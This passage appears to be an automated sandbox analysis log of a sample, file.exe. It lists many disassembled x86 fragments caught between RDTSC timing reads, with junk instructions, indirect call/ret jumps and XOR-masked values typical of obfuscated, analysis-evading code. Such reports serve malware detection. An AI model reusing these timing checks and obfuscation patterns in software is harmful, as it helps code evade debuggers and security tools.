Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD95B second address: FBD973 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F67208644D0h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD973 second address: FBD977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF35E second address: FBF37B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F67208644C8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F67208644CCh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF37B second address: FBF3B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6720533113h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f jnc 00007F672053310Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F672053310Fh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF3B5 second address: E419C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F67208644D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop eax 0x0000000b mov si, E1EAh 0x0000000f push dword ptr [ebp+122D0DD1h] 0x00000015 push edx 0x00000016 pop esi 0x00000017 call dword ptr [ebp+122D2D68h] 0x0000001d pushad 0x0000001e jmp 00007F67208644D1h 0x00000023 pushad 0x00000024 jmp 00007F67208644D6h 0x00000029 mov dword ptr [ebp+122D225Bh], ecx 0x0000002f popad 0x00000030 xor eax, eax 0x00000032 mov dword ptr [ebp+122D225Bh], eax 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c jmp 00007F67208644CCh 0x00000041 mov dword ptr [ebp+122D2B50h], eax 0x00000047 cmc 0x00000048 add dword ptr [ebp+122D225Bh], esi 0x0000004e mov esi, 0000003Ch 0x00000053 cld 0x00000054 add esi, dword ptr [esp+24h] 0x00000058 pushad 0x00000059 mov dword ptr [ebp+122D225Bh], ecx 0x0000005f pushad 0x00000060 mov edx, dword ptr [ebp+122D2BF4h] 0x00000066 stc 0x00000067 popad 0x00000068 popad 0x00000069 lodsw 0x0000006b jmp 00007F67208644D0h 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 sub dword ptr [ebp+122D225Bh], edi 0x0000007a mov ebx, dword ptr [esp+24h] 0x0000007e mov dword ptr [ebp+122D225Bh], ecx 0x00000084 nop 0x00000085 pushad 0x00000086 push ecx 0x00000087 push eax 0x00000088 push edx 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF3F6 second address: FBF429 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6720533106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007F6720533114h 0x00000019 je 00007F6720533106h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push edx 0x00000023 pop edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF429 second address: FBF4EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F67208644D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D207Ch], edx 0x00000011 push 00000000h 0x00000013 jmp 00007F67208644CBh 0x00000018 push 139E6A86h 0x0000001d jmp 00007F67208644D0h 0x00000022 xor dword ptr [esp], 139E6A06h 0x00000029 mov ecx, dword ptr [ebp+122D2C08h] 0x0000002f push 00000003h 0x00000031 jng 00007F67208644D2h 0x00000037 jbe 00007F67208644CCh 0x0000003d mov dword ptr [ebp+122D1BE4h], edi 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push esi 0x00000048 call 00007F67208644C8h 0x0000004d pop esi 0x0000004e mov dword ptr [esp+04h], esi 0x00000052 add dword ptr [esp+04h], 00000019h 0x0000005a inc esi 0x0000005b push esi 0x0000005c ret 0x0000005d pop esi 0x0000005e ret 0x0000005f sub dword ptr [ebp+122D1931h], ecx 0x00000065 push 00000003h 0x00000067 push 00000000h 0x00000069 push edx 0x0000006a call 00007F67208644C8h 0x0000006f pop edx 0x00000070 mov dword ptr [esp+04h], edx 0x00000074 add dword ptr [esp+04h], 00000017h 0x0000007c inc edx 0x0000007d push edx 0x0000007e ret 0x0000007f pop edx 0x00000080 ret 0x00000081 jns 00007F67208644CFh 0x00000087 push 98299581h 0x0000008c push eax 0x0000008d push edx 0x0000008e push edi 0x0000008f push eax 0x00000090 push edx 0x00000091 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF4EB second address: FBF4F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF59C second address: FBF5F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 xor dword ptr [esp], 03D8C026h 0x0000000c movzx ecx, di 0x0000000f push 00000003h 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F67208644C8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d adc cx, 1781h 0x00000032 mov ecx, dword ptr [ebp+122D2B94h] 0x00000038 push 00000003h 0x0000003a sub dword ptr [ebp+122D2226h], edx 0x00000040 push 6A255765h 0x00000045 push ebx 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF697 second address: FBF6BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6720533110h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jng 00007F6720533118h 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007F6720533106h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF6BA second address: FBF760 instructions: 0x00000000 rdtsc 0x00000002 js 00007F67208644C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D2B90h] 0x00000011 and esi, 37EC672Eh 0x00000017 push 00000000h 0x00000019 call 00007F67208644D1h 0x0000001e add edi, 56C5E22Bh 0x00000024 pop esi 0x00000025 mov ch, E6h 0x00000027 push 2ABCBCA0h 0x0000002c push eax 0x0000002d pushad 0x0000002e js 00007F67208644C6h 0x00000034 jo 00007F67208644C6h 0x0000003a popad 0x0000003b pop eax 0x0000003c xor dword ptr [esp], 2ABCBC20h 0x00000043 mov si, F574h 0x00000047 push 00000003h 0x00000049 add dx, DCA1h 0x0000004e push 00000000h 0x00000050 push 00000000h 0x00000052 push edx 0x00000053 call 00007F67208644C8h 0x00000058 pop edx 0x00000059 mov dword ptr [esp+04h], edx 0x0000005d add dword ptr [esp+04h], 0000001Dh 0x00000065 inc edx 0x00000066 push edx 0x00000067 ret 0x00000068 pop edx 0x00000069 ret 0x0000006a jbe 00007F67208644CCh 0x00000070 mov edx, dword ptr [ebp+122D2C20h] 0x00000076 push 00000003h 0x00000078 sub ecx, dword ptr [ebp+122D2B30h] 0x0000007e call 00007F67208644C9h 0x00000083 push eax 0x00000084 push edx 0x00000085 pushad 0x00000086 push esi 0x00000087 pop esi 0x00000088 pushad 0x00000089 popad 0x0000008a popad 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF760 second address: FBF796 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6720533108h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007F6720533118h 0x00000014 jmp 00007F672053310Ah 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF796 second address: FBF79A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF79A second address: FBF7BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6720533117h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF7BF second address: FBF82A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F67208644C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov eax, dword ptr [eax] 0x0000000d jg 00007F67208644CEh 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 jmp 00007F67208644D4h 0x0000001c pop eax 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F67208644C8h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 00000015h 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 mov dx, ax 0x0000003a lea ebx, dword ptr [ebp+1245129Dh] 0x00000040 mov dword ptr [ebp+122D317Eh], esi 0x00000046 xchg eax, ebx 0x00000047 push eax 0x00000048 push edx 0x00000049 ja 00007F67208644C8h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF82A second address: FBF842 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F672053310Bh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF842 second address: FBF848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD28AA second address: FD28AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD28AE second address: FD28C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F67208644D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB647D second address: FB6481 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF728 second address: FDF72E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF72E second address: FDF736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF87D second address: FDF881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF881 second address: FDF893 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c je 00007F6720533106h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF893 second address: FDF897 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDFB2F second address: FDFB36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDFB36 second address: FDFB3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDFB3B second address: FDFB4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6720533106h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0079 second address: FE0080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0080 second address: FE008B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F6720533106h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE031F second address: FE0323 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5AFD second address: FD5B14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F672053310Ah 0x0000000c pop edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5B14 second address: FD5B18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF921 second address: FAF927 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE047E second address: FE0482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0482 second address: FE0486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0486 second address: FE04AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F67208644D9h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE04AF second address: FE04E5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F6720533115h 0x00000010 jmp 00007F6720533112h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0AB8 second address: FE0AE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F67208644D4h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F67208644D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0C74 second address: FE0C8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F6720533106h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F672053310Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0C8E second address: FE0CC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F67208644D2h 0x00000007 jmp 00007F67208644CAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F67208644CBh 0x00000016 push esi 0x00000017 pop esi 0x00000018 jbe 00007F67208644C6h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push edx 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0E2D second address: FE0E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE12C3 second address: FE12C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2A97 second address: FE2AAD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6720533106h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F6720533106h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2AAD second address: FE2AB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2AB1 second address: FE2ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6720533111h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2D56 second address: FB2D8A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F67208644CCh 0x00000008 jng 00007F67208644DFh 0x0000000e jmp 00007F67208644D9h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2D8A second address: FB2D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6720533106h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6B99 second address: FE6B9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE7E45 second address: FE7E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6720533112h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE7E51 second address: FE7E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F67208644C6h 0x0000000a pop eax 0x0000000b jo 00007F6720864502h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F67208644D9h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEA20D second address: FEA212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA712 second address: FAA716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDA16 second address: FEDA1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDA1C second address: FEDA21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDA21 second address: FEDA29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDA29 second address: FEDA2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDD44 second address: FEDD49 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDED5 second address: FEDEEF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F67208644D5h 0x00000008 jmp 00007F67208644CFh 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEE1FD second address: FEE201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEE201 second address: FEE209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEE209 second address: FEE221 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6720533111h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEE4DC second address: FEE4E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1CD0 second address: FF1CD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1F8B second address: FF1FB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F67208644CCh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jo 00007F67208644DEh 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F67208644D0h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2A46 second address: FF2A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6720533106h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2A51 second address: FF2A6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F67208644D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2BAA second address: FF2BE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6720533119h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007F6720533112h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2C5E second address: FF2C64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF3137 second address: FF313C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF313C second address: FF3142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF3142 second address: FF3198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F6720533112h 0x0000000d nop 0x0000000e mov edi, dword ptr [ebp+122D191Bh] 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F6720533108h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 push 00000000h 0x00000032 mov esi, dword ptr [ebp+122D2B80h] 0x00000038 xchg eax, ebx 0x00000039 jo 00007F6720533114h 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4BF6 second address: FF4C0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F67208644D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4C0E second address: FF4C86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F6720533108h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov esi, 7CA45EBDh 0x0000002a or esi, dword ptr [ebp+122D2D54h] 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+122D2D7Bh], eax 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebx 0x0000003d call 00007F6720533108h 0x00000042 pop ebx 0x00000043 mov dword ptr [esp+04h], ebx 0x00000047 add dword ptr [esp+04h], 0000001Bh 0x0000004f inc ebx 0x00000050 push ebx 0x00000051 ret 0x00000052 pop ebx 0x00000053 ret 0x00000054 sub dword ptr [ebp+122D225Bh], ebx 0x0000005a xchg eax, ebx 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f jnc 00007F6720533106h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4C86 second address: FF4C8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4C8C second address: FF4C9F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F6720533106h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4C9F second address: FF4CA5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
